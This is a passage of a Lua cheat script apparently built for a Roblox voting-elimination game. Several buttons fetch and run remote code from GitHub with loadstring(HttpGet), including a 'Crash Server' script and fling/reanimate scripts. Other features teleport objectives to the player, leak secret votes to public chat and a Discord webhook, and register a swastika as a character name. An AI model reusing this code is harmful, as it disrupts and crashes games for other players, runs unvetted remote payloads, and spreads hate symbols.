defaultClone.Parent = elimFolder
rs.Products.DataStore.Elimination.Value = "Boat Elimination"
else
end
isResetting = false
isPlaying = false
end)
else
isPlaying = false
end
end
local function swapToSleigh()
if isResetting or isPlaying or cooldown then return end
isPlaying = true
cooldown = true
local boat = elimFolder:FindFirstChild("Boat Elimination")
if boat then
boatBackup = boat:Clone()
boatBackup.Parent = rs
end
for _, v in pairs(elimFolder:GetChildren()) do
v:Destroy()
end
local clone = sleighTemplate:Clone()
clone.Name = "Sleigh Elimination"
clone.Parent = elimFolder
rs.Products.DataStore.Elimination.Value = "Sleigh Elimination"
local sound = clone:FindFirstChild("Sound", true)
if sound then
sound:Play()
end
task.wait(18)
playEffects(clone)
task.spawn(function()
task.wait(10)
cooldown = false
end)
end
end
ToolsTab:CreateSection("Utilities")
ToolsTab:CreateButton({
Name = "FE Genesis Sniper",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/GenesisFE/Genesis/main/Obfuscations/Sniper"))()
end,
})
ToolsTab:CreateButton({
Name = "Auto Reset Finale",
Callback = function()
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
autoWinObby = true
local function startObbyLoop()
task.spawn(function()
while autoWinObby do
local assets = workspace:FindFirstChild("Assets")
if assets then
local finish = assets:FindFirstChild("Finish", true)
if finish then
finish.CanCollide = false
finish.Transparency = 1
task.wait()
if player.Character and player.Character:FindFirstChild("HumanoidRootPart") then
finish.Position = player.Character.HumanoidRootPart.Position
end
end
end
task.wait(0.1)
end
end)
end
-- current round
startObbyLoop()
-- new round
workspace.DescendantAdded:Connect(function(obj)
if not autoWinObby then return end
if obj.Name == "Finish" and obj:IsA("BasePart") then
startObbyLoop()
end
end)
local winsValue = isCamp and "CampWins" or isExpedition and "ExpeditionWins" or "MoviesWins"
local reanimateRunning = false
-- Watch a single player's wins value and trigger reanimate when it goes up
local function watchPlayer(p)
task.spawn(function()
local ok, ds = pcall(function()
return p:WaitForChild("DataStore", 10)
end)
if not ok or not ds then return end
local ok2, winsObj = pcall(function()
return ds:WaitForChild(winsValue, 10)
end)
if not ok2 or not winsObj then return end
winsObj.Changed:Connect(function(newValue)
if reanimateRunning then return end
reanimateRunning = true
loadstring(game:HttpGet("https://raw.githubusercontent.com/robloxcheatck/reanimatescript/main/script.lua", true))()
task.wait(25)
if Stop then Stop() end
reanimateRunning = false
end)
end)
end
-- existing players
for _, p in ipairs(Players:GetPlayers()) do
watchPlayer(p)
end
-- new joiners
Players.PlayerAdded:Connect(function(p)
watchPlayer(p)
end)
Rayfield:Notify({
Title = "Auto Reset Finale",
Content = "Enabled! Watching " .. #Players:GetPlayers() .. " players.",
Duration = 4,
Image = "bell-ring",
})
end,
})
SettingsTab:CreateSection("Configuration")
local _dwSelectedConfig = nil
local _dwInitialList = DramaWare_ListConfigs()
local _dwConfigDropdown = SettingsTab:CreateDropdown({
Name = "Load Config",
Options = _dwInitialList,
CurrentOption = {_dwInitialList[1]},
MultipleOptions = false,
Flag = "DramaWareConfigDropdown",
Callback = function(Options)
if Options[1] and Options[1] ~= "(no saved configs)" then
_dwSelectedConfig = Options[1]
DramaWare_LoadConfig(_dwSelectedConfig)
Rayfield:Notify({ Title = "Config Loaded", Content = 'Loaded "' .. _dwSelectedConfig .. '".', Duration = 4, Image = "refresh-cw" })
end
end,
})
SettingsTab:CreateInput({
Name = "Save Config",
PlaceholderText = "Enter name and press Enter...",
RemoveTextAfterFocusLost = true,
Callback = function(text)
if text and text ~= "" then
DramaWare_SaveConfig(text)
Rayfield:Notify({ Title = "Config Saved", Content = 'Saved as "' .. text .. '".', Duration = 4, Image = "save" })
local newList = DramaWare_ListConfigs()
_dwConfigDropdown:Refresh(newList)
_dwSelectedConfig = text
end
end,
})
SettingsTab:CreateButton({
Name = "Delete Config",
Callback = function()
if not _dwSelectedConfig or _dwSelectedConfig == "(no saved configs)" then
Rayfield:Notify({ Title = "Nothing Selected", Content = "Pick a config from the dropdown first.", Duration = 4, Image = "alert-circle" })
return
end
local path = "DramaWare/Configs/" .. _dwSelectedConfig .. ".json"
local deleted = false
pcall(function()
if isfile(path) then delfile(path) deleted = true end
end)
if deleted then
Rayfield:Notify({ Title = "Config Deleted", Content = '"' .. _dwSelectedConfig .. '" deleted.', Duration = 4, Image = "trash-2" })
local newList = DramaWare_ListConfigs()
_dwConfigDropdown:Refresh(newList)
_dwSelectedConfig = (newList[1] ~= "(no saved configs)") and newList[1] or nil
else
Rayfield:Notify({ Title = "Not Found", Content = 'No config named "' .. _dwSelectedConfig .. '".', Duration = 4, Image = "alert-circle" })
end
end,
})
SettingsTab:CreateDivider()
MainTab:CreateSection("Statue")
MainTab:CreateButton({
Name = "Get Safety Statue",
Callback = function()
for i, v in pairs(workspace.Idols:GetDescendants()) do
if v.Name == "Bag" then
v.hit.CanCollide = false
v.hit.Transparency = 1
wait()
v.hit.Position = player.Character.Torso.Position
wait()
elseif v.Name == "SafetyStatue" then
v.hit.CanCollide = false
v.hit.Transparency = 1
wait()
v.hit.Position = player.Character.Torso.Position
wait()
end
end
end,
})
MainTab:CreateButton({
Name = "Get Statue When It Spawns",
Callback = function()
local function tryGrab(v)
if v:IsA("BasePart") and v.Name == "hit" then
local parent = v.Parent
if parent and (parent.Name == "Bag" or parent.Name == "SafetyStatue") then
task.wait(0.1)
v.CanCollide = false
v.Transparency = 1
task.spawn(function()
while v and v.Parent do
if player.Character and player.Character:FindFirstChild("HumanoidRootPart") then
v.CFrame = player.Character.HumanoidRootPart.CFrame
end
task.wait(0.05)
end
end)
end
end
end
workspace.DescendantAdded:Connect(function(v)
tryGrab(v)
end)
for _, v in pairs(workspace:GetDescendants()) do
tryGrab(v)
end
end,
})
MainTab:CreateButton({
Name = "Notify Who Has Statue",
Callback = function()
local v = game.ReplicatedStorage.Season.Twists.Idol
if v.Value == "" then
Rayfield:Notify({
Title = "Statue Owner",
Content = "No one currently has the statue or it didn't spawn.",
Duration = 4,
Image = "bell-ring",
})
else
local c = game.ReplicatedStorage.Season.Players:FindFirstChild(v.Value).Value
Rayfield:Notify({
Title = "Statue Owner",
Content = c .. " has the statue",
Duration = 4,
Image = "bell-ring",
})
end
end,
})
MainTab:CreateToggle({
Name = "Safety Bag ESP",
CurrentValue = false,
Flag = "SafetyBagESP",
Callback = function(Value)
if Value then
for _, bag in ipairs(workspace.Idols:GetDescendants()) do
if bag.Name == "Bag" and bag:IsA("Model") then
local part = bag.PrimaryPart or bag:FindFirstChildWhichIsA("BasePart")
if part then
if not bag:FindFirstChild("BagHighlight") then
local highlight = Instance.new("Highlight")
highlight.Name = "BagHighlight"
highlight.FillTransparency = 1
highlight.OutlineColor = Color3.fromRGB(255, 255, 255)
highlight.Parent = bag
end
if not bag:FindFirstChild("BagESP") then
local billboard = Instance.new("BillboardGui")
billboard.Name = "BagESP"
billboard.Size = UDim2.new(0, 220, 0, 60)
billboard.StudsOffset = Vector3.new(0, 3, 0)
billboard.AlwaysOnTop = true
billboard.Adornee = part
billboard.Parent = bag
local text = Instance.new("TextLabel")
text.Size = UDim2.new(1, 0, 1, 0)
text.BackgroundTransparency = 1
text.Text = "SAFETY BAG"
text.TextColor3 = Color3.fromRGB(255, 255, 255)
text.TextStrokeTransparency = 0
text.TextScaled = true
text.Font = Enum.Font.GothamBold
text.Parent = billboard
end
end
end
end
else
for _, bag in ipairs(workspace:GetDescendants()) do
if bag.Name == "Bag" then
if bag:FindFirstChild("BagHighlight") then bag.BagHighlight:Destroy() end
if bag:FindFirstChild("BagESP") then bag.BagESP:Destroy() end
end
end
end
end,
})
MainTab:CreateToggle({
Name = "Safety Statue ESP",
CurrentValue = false,
Flag = "SafetyStatueESP",
Callback = function(Value)
if Value then
for _, statue in ipairs(workspace.Idols:GetDescendants()) do
if statue.Name == "SafetyStatue" and statue:IsA("Model") then
local part = statue.PrimaryPart or statue:FindFirstChildWhichIsA("BasePart")
if part then
if not statue:FindFirstChild("StatueHighlight") then
local highlight = Instance.new("Highlight")
highlight.Name = "StatueHighlight"
highlight.FillTransparency = 1
highlight.OutlineColor = Color3.fromRGB(255, 255, 255)
highlight.Parent = statue
end
if not statue:FindFirstChild("StatueESP") then
local billboard = Instance.new("BillboardGui")
billboard.Name = "StatueESP"
billboard.Size = UDim2.new(0, 260, 0, 70)
billboard.StudsOffset = Vector3.new(0, 4, 0)
billboard.AlwaysOnTop = true
billboard.Adornee = part
billboard.Parent = statue
local text = Instance.new("TextLabel")
text.Size = UDim2.new(1, 0, 1, 0)
text.BackgroundTransparency = 1
text.Text = "SAFETY STATUE"
text.TextColor3 = Color3.fromRGB(255, 255, 255)
text.TextStrokeTransparency = 0
text.TextScaled = true
text.Font = Enum.Font.GothamBold
text.Parent = billboard
end
end
end
end
else
for _, statue in ipairs(workspace:GetDescendants()) do
if statue.Name == "SafetyStatue" then
if statue:FindFirstChild("StatueHighlight") then statue.StatueHighlight:Destroy() end
if statue:FindFirstChild("StatueESP") then statue.StatueESP:Destroy() end
end
end
end
end,
})
MainTab:CreateSection("Round Info")
MainTab:CreateButton({
Name = "Detect Round",
Callback = function()
local t = game.ReplicatedStorage.Season.Twists:FindFirstChild("CurrentTwist")
local roundNames = {
Undecided = "Round not decided yet - the twist hasn't been set.",
normal = "Normal Round - Casual round, nothing special.",
purge = "Purge Round - This will be a purge round.",
double = "Double Elimination - Two people will be eliminated.",
singleswap = "Sike Round - Eliminated player gets swapped to another team.",
exile = "Exile Vote Round - There will be an exile vote.",
votereveal = "Vote Reveal - Kyle will expose the votes this round.",
}
local content = roundNames[t.Value] or ("Unknown round type: " .. tostring(t.Value))
Rayfield:Notify({ Title = "Round Detected", Content = content, Duration = 6, Image = "bell-ring" })
end,
})
local autoDetectRoundConn = nil
MainTab:CreateToggle({
Name = "Auto Detect Round",
CurrentValue = false,
Flag = "AutoDetectRound",
Callback = function(Value)
if Value then
local t = game.ReplicatedStorage.Season.Twists:FindFirstChild("CurrentTwist")
autoDetectRoundConn = t:GetPropertyChangedSignal("Value"):Connect(function()
local roundNames = {
normal = "Normal Round - Casual round, nothing special.",
purge = "Purge Round - This will be a purge round.",
["double"] = "Double Elimination - Two people will be eliminated.",
singleswap = "Sike Round - Eliminated player gets swapped to another team.",
exile = "Exile Vote Round - There will be an exile vote.",
votereveal = "Vote Reveal - Kyle will expose the votes this round.",
}
local content = roundNames[t.Value]
if content then
Rayfield:Notify({ Title = "Round Detected", Content = content, Duration = 6, Image = "bell-ring" })
end
end)
else
if autoDetectRoundConn then
autoDetectRoundConn:Disconnect()
autoDetectRoundConn = nil
end
end
end,
})
MainTab:CreateButton({
Name = "Detect Teamers",
Callback = function()
local Players = game:GetService("Players")
local RS = game:GetService("ReplicatedStorage")
local season = RS:FindFirstChild("Season")
if not season then return end
local playersFolder = season:FindFirstChild("Players")
if not playersFolder then return end
local function getInGameName(p)
local data = playersFolder:FindFirstChild(p.Name)
if data and data.Value ~= "" then
return data.Value
end
return p.Name
end
local found = false
for i, p1 in ipairs(Players:GetPlayers()) do
for j, p2 in ipairs(Players:GetPlayers()) do
if j > i then
local ok, areFriends = pcall(function()
return p1:IsFriendsWith(p2.UserId)
end)
if ok and areFriends then
local igName1 = getInGameName(p1)
local igName2 = getInGameName(p2)
found = true
Rayfield:Notify({
Title = "Teamer Detected!",
Content = igName1 .. " is teaming with " .. igName2,
Duration = 8,
Image = "shield-alert",
})
task.wait(0.6)
end
end
end
end
if not found then
Rayfield:Notify({
Title = "No Teamers Found",
Content = "No friend pairs detected in this lobby.",
Duration = 5,
Image = "check-circle",
})
end
end,
})
MainTab:CreateButton({
Name = "Fling/Restart Day (Reanimate)",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/robloxcheatck/reanimatescript/main/script.lua", true))()
end,
})
MainTab:CreateButton({
Name = "Limb Reanimation (crashes game before it starts, may not work)",
Callback = function()
local settings = _G
settings["Use default animations"] = true
settings["Local character transparency level"] = 1
settings["Disable character scripts"] = true
settings["Fake character should collide"] = true
settings["Parent real character to fake character"] = false
settings["Respawn character"] = true
settings["Instant respawn"] = false
settings["Hide HumanoidRootPart"] = false
settings["PermaDeath fake character"] = true
settings["R15 Reanimate"] = false
settings["Click Fling"] = false
settings["Anti-Fling"] = true
settings["Hide RootPart Distance"] = CFrame.new(255, 255, 0)
settings["Allow tool equipping"] = false
settings["Client sided display mode"] = 1
settings["Fallback prompt"] = true
settings["Respawn mode"] = "ServerBreakJoints"
settings["Names to exclude from transparency"] = {}
loadstring(game:HttpGet("https://raw.githubusercontent.com/somethingsimade/CurrentAngleV4/refs/heads/main/v4.lua"))()
end,
})MainTab:CreateButton({
Name = "Destroy Long Names",
Callback = function()
local function destroyLongTextElements(parent)
for _, element in ipairs(parent:GetDescendants()) do
if pcall(function() return element.Text end) and type(element.Text) == "string" and #element.Text > 750 then
element:Destroy()
end
end
end
local function scanGame()
for _, service in ipairs(game:GetChildren()) do
destroyLongTextElements(service)
end
destroyLongTextElements(game:GetService("Players").LocalPlayer.PlayerGui)
destroyLongTextElements(game:GetService("ReplicatedStorage"))
destroyLongTextElements(game:GetService("Workspace"))
end
scanGame()
game.DescendantAdded:Connect(function(descendant)
if pcall(function() return descendant.Text end) and type(descendant.Text) == "string" and #descendant.Text > 750 then
descendant:Destroy()
end
end)
end,
})
MainTab:CreateButton({
Name = "Remove Cutscene",
Callback = function()
local events = game:GetService("ReplicatedStorage"):FindFirstChild("Events")
local camEvent = events and events:FindFirstChild("Camera")
if camEvent then
camEvent:Destroy()
end
local char = player.Character
if char then
local hum = char:FindFirstChildOfClass("Humanoid")
if hum then
camera.CameraType = Enum.CameraType.Custom
camera.CameraSubject = hum
end
end
end,
})
MainTab:CreateSection("Voting")
MainTab:CreateToggle({
Name = "Notify Votes",
CurrentValue = false,
Flag = "NotifyVotes",
Callback = function(Value)
if Value then
voteConn = game.ReplicatedStorage.Season.Voting.Votes.ChildAdded:Connect(function(v)
local r = game.ReplicatedStorage.Season.Players[v.Value].Value
local d = game.ReplicatedStorage.Season.Players[v.Name].Value
Rayfield:Notify({ Title = "Vote Update", Content = r .. " voted for " .. d, Duration = 3, Image = "bell-ring" })
end)
else
if voteConn then voteConn:Disconnect() voteConn = nil end
end
end,
})
MainTab:CreateToggle({
Name = "Print Votes in /console",
CurrentValue = false,
Flag = "PrintVotes",
Callback = function(Value)
if Value then
printVotesConn = game.ReplicatedStorage.Season.Voting.Votes.ChildAdded:Connect(function(v)
local r = game.ReplicatedStorage.Season.Players[v.Value].Value
local d = game.ReplicatedStorage.Season.Players[v.Name].Value
print(r .. " voted for " .. d)
end)
else
if printVotesConn then printVotesConn:Disconnect() printVotesConn = nil end
end
end,
})
MainTab:CreateToggle({
Name = "Expose Votes",
CurrentValue = false,
Flag = "ExposeVotes",
Callback = function(Value)
if Value then
exposeVotesConn = game.ReplicatedStorage.Season.Voting.Votes.ChildAdded:Connect(function(v)
local r = game.ReplicatedStorage.Season.Players[v.Value].Value
local d = game.ReplicatedStorage.Season.Players[v.Name].Value
game.TextChatService.TextChannels.RBXGeneral:SendAsync(r .. " voted for " .. d)
end)
else
if exposeVotesConn then exposeVotesConn:Disconnect() exposeVotesConn = nil end
end
end,
})
MainTab:CreateToggle({
Name = "Notify Jury Votes",
CurrentValue = false,
Flag = "NotifyJuryVotes",
Callback = function(Value)
if Value then
juryVoteConns = {}
local function watchJuror(j)
local l = j:WaitForChild("List")
local conn = l.ChildAdded:Connect(function(v)
local voter = j.Value
local votee = v.Value
if game.ReplicatedStorage.Season.Players:FindFirstChild(v.Name) then
votee = game.ReplicatedStorage.Season.Players[v.Name].Value
end
Rayfield:Notify({ Title = "Jury Vote", Content = voter .. " voted for " .. votee, Duration = 3, Image = "bell-ring" })
end)
table.insert(juryVoteConns, conn)
end
for _, j in pairs(game.ReplicatedStorage.Season.Jury:GetChildren()) do
watchJuror(j)
end
local addConn = game.ReplicatedStorage.Season.Jury.ChildAdded:Connect(watchJuror)
table.insert(juryVoteConns, addConn)
else
if juryVoteConns then
for _, c in pairs(juryVoteConns) do c:Disconnect() end
juryVoteConns = nil
end
end
end,
})
if isCamp then
MainTab:CreateToggle({
Name = "Notify & Print Exile Votes",
CurrentValue = false,
Flag = "ExileVotes",
Callback = function(Value)
if Value then
exileVotesConn = game.ReplicatedStorage.Season.Twists.ExileVoting.Votes.ChildAdded:Connect(function(v)
local r = game.ReplicatedStorage.Season.Players[v.Value].Value
local d = game.ReplicatedStorage.Season.Players[v.Name].Value
local s = r .. " voted to exile " .. d
Rayfield:Notify({
Title = "Exile Vote",
Content = s,
Duration = 3.5,
Image = "bell-ring",
})
print(s)
end)
else
if exileVotesConn then
exileVotesConn:Disconnect()
exileVotesConn = nil
end
end
end,
})
end
local _whUrl = ""
local _whVC, _whEC
local function sendWH(msg)
if not _whUrl or _whUrl == "" then return end
local body = game:GetService("HttpService"):JSONEncode({content = msg})
local req = http_request or request or (syn and syn.request)
if req then pcall(req, {Url = _whUrl, Body = body, Method = "POST", Headers = {["content-type"] = "application/json"}}) end
end
MainTab:CreateInput({
Name = "Webhook URL",
PlaceholderText = "https://discord.com/api/webhooks/...",
RemoveTextAfterFocusLost = false,
Callback = function(t) _whUrl = t end,
})
MainTab:CreateToggle({
Name = "Send Votes to Webhook",
CurrentValue = false,
Flag = "SendVotesWH",
Callback = function(v)
if _whVC then _whVC:Disconnect(); _whVC = nil end
if v then
local RS = game:GetService("ReplicatedStorage")
pcall(function()
_whVC = RS.Season.Voting.Votes.ChildAdded:Connect(function(vote)
pcall(function()
sendWH(RS.Season.Players[vote.Value].Value .. " voted for " .. RS.Season.Players[vote.Name].Value)
end)
end)
end)
end
end,
})
MainTab:CreateDivider()
-- universal tab
_BuildUniversalTab(UniversalTab)
CharactersTab:CreateSection("Free")
CharactersTab:CreateButton({
Name = "Male Character",
Callback = function()
game:GetService("ReplicatedStorage").Events.Buy:FireServer("Gender", "Male")
end,
})
CharactersTab:CreateButton({
Name = "Female Character",
Callback = function()
game:GetService("ReplicatedStorage").Events.Buy:FireServer("Gender", "Female")
end,
})
CharactersTab:CreateSection("Paid")
CharactersTab:CreateButton({
Name = "Crash Server",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/shsicidjdhisjs/crash-server/main/crash"))()
end,
})
local ArtCharMap = {
["Swastika"] = [[
████╗░░░████████████╗
████║░░░████████████║
████║░░░████╔═══════╝
████║░░░████║░░░░░░░░
████████████████████╗
████████████████████║
╚═══════████╔═══████║
░░░░░░░░████║░░░████║
████████████║░░░████║
████████████║░░░████║
╚═══════════╝░░░╚═══╝
]],
["Skull"] = [[
███████████████████████████
███████▀▀▀░░░░░░░▀▀▀███████
████▀░░░░░░░░░░░░░░░░░▀████
███│░░░░░░░░░░░░░░░░░░░│███
██▌│░░░░░░░░░░░░░░░░░░░│▐██
██░└┐░░░░░░░░░░░░░░░░░┌┘░██
██░░└┐░░░░░░░░░░░░░░░┌┘░░██
██░░┌┘▄▄▄▄▄░░░░░▄▄▄▄▄└┐░░██
██▌░│██████▌░░░▐██████│░▐██
███░│▐███▀▀░░▄░░▀▀███▌│░███
██▀─┘░░░░░░░▐█▌░░░░░░░└─▀██
██▄░░░▄▄▄▓░░▀█▀░░▓▄▄▄░░░▄██
████▄─┘██▌░░░░░░░▐██└─▄████
█████░░▐█─┬┬┬┬┬┬┬─█▌░░█████
████▌░░░▀┬┼┼┼┼┼┼┼┬▀░░░▐████
█████▄░░░└┴┴┴┴┴┴┴┘░░░▄█████
███████▄░░░░░░░░░░░▄███████
██████████▄▄▄▄▄▄▄██████████
███████████████████████████
]],
["Guy"] = [[
───────▄▀▀▀▀▀▀▀▀▀▀▄▄
────▄▀▀░░░░░░░░░░░░░▀▄
──▄▀░░░░░░░░░░░░░░░░░░▀▄
──█░░░░░░░░░░░░░░░░░░░░░▀▄
─▐▌░░░░░░░░▄▄▄▄▄▄▄░░░░░░░▐▌
─█░░░░░░░░░░░▄▄▄▄░░▀▀▀▀▀░░█
▐▌░░░░░░░▀▀▀▀░░░░░▀▀▀▀▀░░░▐▌
█░░░░░░░░░▄▄▀▀▀▀▀░░░░▀▀▀▀▄░█
█░░░░░░░░░░░░░░░░▀░░░▐░░░░░▐▌
▐▌░░░░░░░░░▐▀▀██▄░░░░░░▄▄▄░▐▌
─█░░░░░░░░░░░▀▀▀░░░░░░▀▀██░░█
─▐▌░░░░▄░░░░░░░░░░░░░▌░░░░░░█
──▐▌░░▐░░░░░░░░░░░░░░▀▄░░░░░█
───█░░░▌░░░░░░░░▐▀░░░░▄▀░░░▐▌
───▐▌░░▀▄░░░░░░░░▀░▀░▀▀░░░▄▀
───▐▌░░▐▀▄░░░░░░░░░░░░░░░░█
───▐▌░░░▌░▀▄░░░░▀▀▀▀▀▀░░░█
───█░░░▀░░░░▀▄░░░░░░░░░░▄▀
──▐▌░░░░░░░░░░▀▄░░░░░░▄▀
─▄▀░░░▄▀░░░░░░░░▀▀▀▀█▀
▀░░░▄▀░░░░░░░░░░▀░░░▀▀▀▀▄▄▄▄▄
]],
["Hacker"] = [[
███████████████████████████████
████╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬████
██╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬██
█╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬█
█╬╬╬███████╬╬╬╬╬╬╬╬╬███████╬╬╬█
█╬╬██╬╬╬╬███╬╬╬╬╬╬╬███╬╬╬╬██╬╬█
█╬██╬╬╬╬╬╬╬██╬╬╬╬╬██╬╬╬╬╬╬╬██╬█
█╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬█
█╬╬╬╬█████╬╬╬╬╬╬╬╬╬╬╬█████╬╬╬╬█
█╬╬█████████╬╬╬╬╬╬╬█████████╬╬█
█╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬█
█╬╬╬╬╬╬╬╬╬╬╬╬╬╬█╬╬╬╬╬╬╬╬╬╬╬╬╬╬█
█╬╬╬╬╬╬╬╬╬╬╬╬╬╬█╬╬╬╬╬╬╬╬╬╬╬╬╬╬█
█╬╬╬╬╬╬╬╬╬╬╬╬╬╬█╬╬╬╬╬╬╬╬╬╬╬╬╬╬█
█╬╬╬▓▓▓▓╬╬╬╬╬╬╬█╬╬╬╬╬╬╬▓▓▓▓╬╬╬█
█╬╬▓▓▓▓▓▓╬╬█╬╬╬█╬╬╬█╬╬▓▓▓▓▓▓╬╬█
█╬╬╬▓▓▓▓╬╬██╬╬╬█╬╬╬██╬╬▓▓▓▓╬╬╬█
█╬╬╬╬╬╬╬╬██╬╬╬╬█╬╬╬╬██╬╬╬╬╬╬╬╬█
█╬╬╬╬╬████╬╬╬╬███╬╬╬╬████╬╬╬╬╬█
█╬╬╬╬╬╬╬╬╬╬╬╬╬███╬╬╬╬╬╬╬╬╬╬╬╬╬█
██╬╬█╬╬╬╬╬╬╬╬█████╬╬╬╬╬╬╬╬█╬╬██
██╬╬██╬╬╬╬╬╬███████╬╬╬╬╬╬██╬╬██
██╬╬▓███╬╬╬████╬████╬╬╬███▓╬╬██
███╬╬▓▓███████╬╬╬███████▓▓╬╬███
███╬╬╬╬▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓╬╬╬╬███
████╬╬╬╬╬╬╬╬╬╬███╬╬╬╬╬╬╬╬╬╬████
█████╬╬╬╬╬╬╬╬╬╬█╬╬╬╬╬╬╬╬╬╬█████
██████╬╬╬╬╬╬╬╬███╬╬╬╬╬╬╬╬██████
███████╬╬╬╬╬╬╬███╬╬╬╬╬╬╬███████
████████╬╬╬╬╬╬███╬╬╬╬╬╬████████
█████████╬╬╬╬╬███╬╬╬╬╬█████████
███████████╬╬╬╬█╬╬╬╬███████████
███████████████████████████████
]],
["Middle Finger"] = [[
________________$$$$$
______________$$____$$
______________$$____$$
______________$$____$$
______________$$____$$
______________$$____$$
__________$$$$$$____$$$$$$
________$$____$$____$$____$$$$
________$$____$$____$$____$$__$$
$$$$$$__$$____$$____$$____$$____$$
$$____$$$$________________$$____$$
$$______$$______________________$$
__$$____$$______________________$$
___$$$__$$______________________$$
____$$__________________________$$
_____$$$________________________$$
______$$______________________$$$
_______$$$____________________$$
________$$____________________$$
_________$$$________________$$$
__________$$________________$$
__________$$$$$$$$$$$$$$$$$$$$
]],
}
local selectedArtChar = "Swastika"
CharactersTab:CreateDropdown({
Name = "ASCII Art Character Names",
Options = { "Swastika", "Skull", "Guy", "Hacker", "Middle Finger" },
CurrentOption = {"Swastika"},
MultipleOptions = false,
Flag = "ArtCharDropdown",
Callback = function(Options)
selectedArtChar = Options[1]
end,
})
CharactersTab:CreateButton({
Name = "Buy Symbol Character (@60)",
Callback = function()
game:GetService("ReplicatedStorage").Events.Buy:FireServer("Character", ArtCharMap[selectedArtChar])
end,
})
local selectedSymbol = ""
local characterName = ""
local symbolMap = {
["None"] = "",
[" Verified"] = "\u{e000}",
[" Premium"] = "\u{e001}",
[" Robux"] = "\u{e002}",
}
CharactersTab:CreateDropdown({
Name = "Select a Symbol for Buy Character",
Options = { "None", " Verified", " Premium", " Robux" },
CurrentOption = {"None"},
MultipleOptions = false,
Flag = "SymbolDropdown",
Callback = function(Options)
selectedSymbol = symbolMap[Options[1]] or ""
end,
})
CharactersTab:CreateInput({
Name = "Enter the Character Name You Want",
CurrentValue = "",
PlaceholderText = "Character Name Here...",
RemoveTextAfterFocusLost = false,
Flag = "CharacterNameInput",
Callback = function(Text)
characterName = Text
end,
})
CharactersTab:CreateButton({
Name = "Buy Character (@60)",
Callback = function()
if characterName == "" then return end
local finalText = characterName
if selectedSymbol ~= "" then
finalText = characterName .. " " .. selectedSymbol
end
game:GetService("ReplicatedStorage").Events.Buy:FireServer("Character", finalText)
end,
})
-- ── Skin Changer (built-in) ────────────────────────────────────────────────
do
local _SC_Players = game:GetService("Players")
local _SC_LocalPlayer = _SC_Players.LocalPlayer
local _SC_RS = game:GetService("ReplicatedStorage")
-- ── Marshmallow data ──────────────────────────────────────────────────────
local marshmallowData = {
["Marshmallow"] = "http://www.roblox.com/asset/?id=4921967564",
["Mr.Coconut Marshmallow"] = "http://www.roblox.com/asset/?id=4993225404",
["Cook Surprise Marshmallow"] = "http://www.roblox.com/asset/?id=4993211976",
["Soda Marshmallow"] = "http://www.roblox.com/asset/?id=13424792834",
["Dino Marshmallow"] = "http://www.roblox.com/asset/?id=13424788699",
["Official 3-4 Marshmallow"] = "http://www.roblox.com/asset/?id=9005433388",
["Furious Trout Marshmallow"] = "http://www.roblox.com/asset/?id=13557360275",
["Orange Marshmallow"] = "http://www.roblox.com/asset/?id=4993231360",
["Cabbage Marshmallow"] = "http://www.roblox.com/asset/?id=13424785412",
["Toxic Marshmallow"] = "http://www.roblox.com/asset/?id=4939073413",
["Grip Marshmallow"] = "http://www.roblox.com/asset/?id=14253207872",
["Vote Me Marshmallow"] = "http://www.roblox.com/asset/?id=13424797492",
["Honey Dipped Marshmallow"] = "http://www.roblox.com/asset/?id=13424799638",
["Banana Marshmallow"] = "http://www.roblox.com/asset/?id=4922748526",
["Cursed Idol Marshmallow"] = "http://www.roblox.com/asset/?id=4993221853",
["Choc Dipped Marshmallow"] = "http://www.roblox.com/asset/?id=10420319581",
["Candyfloss Marshmallow"] = "http://www.roblox.com/asset/?id=4939071806",
["Guilty Gift Marshmallow"] = "http://www.roblox.com/asset/?id=13424790186",
["Coconut Marshmallow"] = "http://www.roblox.com/asset/?id=4922749819",
["Official Marshmallow"] = "http://www.roblox.com/asset/?id=6190482040",
["Chocolate Marshmallow"] = "http://www.roblox.com/asset/?id=8989965765",
["Toasted Marshmallow"] = "http://www.roblox.com/asset/?id=11109548044",
["Surfboard Marshmallow"] = "http://www.roblox.com/asset/?id=14253216830",
["Official 2 Marshmallow"] = "http://www.roblox.com/asset/?id=6918605850",
["Stink Bomb Marshmallow"] = "http://www.roblox.com/asset/?id=14253212538",
["Deathly Frog Marshmallow"] = "http://www.roblox.com/asset/?id=13557357445",
["Heart Marshmallow"] = "http://www.roblox.com/asset/?id=11109545563",
["Burnt Marshmallow"] = "http://www.roblox.com/asset/?id=4939257688",
["Spooky Skull Marshmallow"] = "http://www.roblox.com/asset/?id=13424794215",
["Camo Marshmallow"] = "http://www.roblox.com/asset/?id=4993218908",
["Star Barrel Marshmallow"] = "http://www.roblox.com/asset/?id=13557362587",
["Candycane Marshmallow"] = "http://www.roblox.com/asset/?id=8087099712",
["Claus Marshmallow"] = "http://www.roblox.com/asset/?id=8087103731",
["Gingerbread Marshmallow"] = "http://www.roblox.com/asset/?id=8087104305",
["Snowflake Marshmallow"] = "http://www.roblox.com/asset/?id=8087108522",
["Snowman Marshmallow"] = "http://www.roblox.com/asset/?id=8087109234",
["Xmas Tree Marshmallow"] = "http://www.roblox.com/asset/?id=8087102391",
["Official 5 Marshmallow"] = "http://www.roblox.com/asset/?id=12089683577",
["Refresher Marshmallow"] = "http://www.roblox.com/asset/?id=10420322407",
["Friendly Fish Marshmallow"] = "http://www.roblox.com/asset/?id=6213300124",
["Popcorn Marshmallow"] = "http://www.roblox.com/asset/?id=14253210682",
["Salt&Pepper Marshmallow"] = "http://www.roblox.com/asset/?id=4939073043",
["Grape Marshmallow"] = "http://www.roblox.com/asset/?id=4939072171",
["Mutant Marshmallow"] = "http://www.roblox.com/asset/?id=4993228141",
["Blue Sky Marshmallow"] = "http://www.roblox.com/asset/?id=6213301823",
["Rainbow Marshmallow"] = "http://www.roblox.com/asset/?id=11109546611",
